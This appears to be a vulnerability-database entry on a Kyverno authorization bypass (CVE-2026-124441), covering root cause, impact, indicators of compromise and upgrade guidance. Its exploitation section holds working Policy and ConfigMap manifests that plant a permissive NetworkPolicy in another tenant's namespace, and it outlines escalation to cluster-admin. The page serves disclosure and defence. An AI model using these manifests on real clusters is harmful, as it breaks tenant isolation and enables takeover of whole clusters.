Vulnerability DatabaseCVE-2026-124441

CVE-2026-124441: 
Kyverno vulnerability analysis and mitigation

Overview

CVE-2026-124441 is an authorization bypass vulnerability in Kyverno, a Kubernetes-native policy engine, that allows namespaced tenants to generate arbitrary resource kinds in any namespace by templating the generate rule's kind and namespace fields with variables. Affected versions are all Kyverno releases before 1.19.2; version 1.19.2 and later are patched. The vulnerability was published on November 8, 2026, with the original security advisory (GHSA-vjfx-fp68-rh4v) authored by JimBugwadia and credited to researcher sagarkhandagre998. It carries a CVSS v3.1 base score of 8.8 (High) and a CVSS v4.0 base score of 8.7 (High) (GitHub Advisory, Kyverno Advisory).

Technical details

The root cause is an incorrect authorization check (CWE-863) combined with an unintended proxy/intermediary pattern (CWE-441) in Kyverno's generate rule validation logic. In pkg/policy/generate/validate.go (lines 103–106), the canIGenerate function checks whether the target kind field contains a {{ }} template variable using regex.IsVariable(); if true, it immediately returns nil — entirely skipping the admission-time RBAC SubjectAccessReview. Additionally, even for static kinds, the authorization check in pkg/validation/policy/actions.go:91 is performed as the Kyverno background-controller's ServiceAccount rather than the tenant who authored the policy (a confused deputy pattern). At runtime, pkg/background/generate/generator.go (lines 110–116, 159–161) substitutes attacker-controlled label values from the trigger ConfigMap into the target namespace and kind, then calls CreateResource as the privileged system:serviceaccount:kyverno:background-controller with no per-user authorization check. A symmetric skip also exists for mutateExisting in pkg/policy/mutate/validate.go:121 (Kyverno Advisory).

Impact

A low-privileged tenant with only the ability to create Policy and ConfigMap objects in their own namespace can cause the privileged Kyverno background-controller to write arbitrary Kubernetes resources — including NetworkPolicy and RoleBinding objects — into any namespace, including victim namespaces and kube-system. In the most critical variant, an attacker can overwrite or inject a permissive NetworkPolicy in a victim namespace, breaking zero-trust network isolation and enabling lateral movement to protected workloads (e.g., a payments database). Using a RoleBinding payload targeting kube-system with cluster-admin as the roleRef, a tenant can escalate to full cluster administrator in a single step. With synchronize: true, the attacker can also delete the victim's existing NetworkPolicy by removing the trigger, causing a stealth denial-of-service (Kyverno Advisory).

Exploitability

A proof-of-concept exploit in YAML form is publicly available in the Kyverno security advisory (GHSA-vjfx-fp68-rh4v), providing step-by-step instructions and concrete malicious Policy and ConfigMap manifests. The NVD SSVC assessment classifies exploitation status as "poc" with "total" technical impact. No evidence of in-the-wild exploitation has been reported as of the time of publication. The EPSS score is approximately 0.407% (36th percentile), indicating a relatively low but non-negligible probability of exploitation in the near term. No threat actor attribution or CISA KEV catalog listing has been identified (GitHub Advisory, Kyverno Advisory).

Exploitation steps

  1. Reconnaissance: Identify a multi-tenant Kubernetes cluster running Kyverno before version 1.19.2 where the attacker has tenant-level access (ability to create Policy and ConfigMap in their own namespace, e.g., team-a).
  2. Author malicious Policy: In the attacker's namespace (team-a), create a namespaced Kyverno Policy whose generate rule uses templated kind and namespace fields:
apiVersion: kyverno.io/v1
kind: Policy
metadata:
  name: hijack-netpol
  namespace: team-a
spec:
  background: true
  rules:
  - name: pwn-netpol
    match:
      any:
      - resources:
          kinds: [ConfigMap]
          namespaces: [team-a]
    generate:
      apiVersion: networking.k8s.io/v1
      kind: "{{request.object.metadata.labels.attackKind}}"
      name: allow-attacker-access
      namespace: "{{request.object.metadata.labels.targetNs}}"
      synchronize: true
      data:
        spec:
          podSelector: {}
          policyTypes: [Ingress, Egress]
          ingress:
          - from:
            - namespaceSelector:
                matchLabels:
                  name: team-a
            - ipBlock:
                cidr: 0.0.0.0/0
          egress:
          - to:
            - ipBlock:
                cidr: 0.0.0.0/0

Kyverno admission sees {{...}} in kind, calls regex.IsVariable() → returns nil, skipping all authorization checks. 3. Create trigger ConfigMap: In team-a, create a ConfigMap with labels that supply the target kind and victim namespace:

apiVersion: v1
kind: ConfigMap
metadata:
  name: trigger
  namespace: team-a
  labels:
    attackKind: NetworkPolicy
    targetNs: team-b
data:
  p: "1"
  1. Background-controller executes privileged write: Kyverno's background-controller resolves the template variables from the ConfigMap labels, substituting team-b as the namespace and NetworkPolicy as the kind, then calls CreateResource as system:serviceaccount:kyverno:background-controller — writing the permissive NetworkPolicy into team-b without any per-user authorization check.
  2. Verify and exploit: Confirm the injected policy exists (kubectl -n team-b get networkpolicy allow-attacker-access) and verify that traffic from team-a to team-b services is now permitted, bypassing the original default-deny isolation.
  3. Escalate to cluster-admin (optional): Repeat with attackKind: RoleBinding and targetNs: kube-system, using a payload that binds the attacker's ServiceAccount to cluster-admin, achieving full cluster compromise (Kyverno Advisory).

Indicators of compromise

  • Kubernetes Audit Logs: create events on policies.kyverno.io in tenant namespaces where the spec.rules[].generate.kind or spec.rules[].generate.namespace field contains {{ template expressions; create events on NetworkPolicy or RoleBinding resources in namespaces other than the policy's own namespace, attributed to system:serviceaccount:kyverno:background-controller.
  • Kubernetes Resources: Unexpected NetworkPolicy objects (e.g., named allow-attacker-access) in victim namespaces with podSelector: {} and broad ingress/egress rules; unexpected RoleBinding objects in kube-system or other sensitive namespaces referencing cluster-admin.
  • Kyverno Controller Logs: Log entries at verbosity level 2 containing "resource Kind uses variables; skipping authorization checks" in the background-controller pod logs, indicating the vulnerable code path was triggered.
  • ConfigMap Labels: ConfigMaps in tenant namespaces with labels such as attackKind and targetNs pointing to resource kinds and namespaces outside the tenant's own namespace.
  • Network: Unexpected cross-namespace traffic flows that were previously blocked by NetworkPolicy, particularly from attacker-controlled namespaces to sensitive workload namespaces (Kyverno Advisory).

Mitigation and workarounds

The primary remediation is to upgrade Kyverno to version 1.19.2 or later, which patches the authorization bypass in pkg/policy/generate/validate.go, pkg/background/generate/generator.go, and pkg/validation/policy/actions.go. For clusters that cannot immediately upgrade, operators should audit all existing namespaced Policy objects for generate rules containing {{ }} template expressions in kind or namespace fields and remove or restrict them. Additionally, consider restricting the Kyverno background-controller's ClusterRole to limit create/update/delete permissions on high-risk resource kinds such as NetworkPolicy, RoleBinding, and ClusterRoleBinding to reduce blast radius. Implementing admission controls (e.g., OPA/Gatekeeper policies) that reject Kyverno Policy objects with templated kind or namespace in generate rules can serve as a compensating control (Kyverno Advisory, GitHub Advisory).

Community reactions

The vulnerability was reported by security researcher sagarkhandagre998 and published by Kyverno maintainer JimBugwadia via the official GitHub Security Advisory on October 23, 2026. A technical blog post analyzing the vulnerability was published by ZeroPath, providing additional community-facing coverage. No major vendor statements beyond the official advisory or significant social media discourse have been identified at this time (Kyverno Advisory, ZeroPath Blog).

Additional resources


Source: This report was generated using AI

Related Kyverno vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-124440CRITICAL9.4
  • Kyverno logoKyverno
  • cpe:2.3:a:kyverno:kyverno
NoYesNov 08, 2026
CVE-2026-124441HIGH8.7
  • Kyverno logoKyverno
  • cpe:2.3:a:kyverno:kyverno
NoYesNov 08, 2026
CVE-2026-122323HIGH8.7
  • Kyverno logoKyverno
  • cpe:2.3:a:kyverno:kyverno
NoYesNov 05, 2026
CVE-2026-122322HIGH8.7
  • Kyverno logoKyverno
  • kyverno
NoYesNov 05, 2026
CVE-2026-122321HIGH8.5
  • Kyverno logoKyverno
  • cpe:2.3:a:kyverno:kyverno
NoYesNov 05, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Additional Wiz resources

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management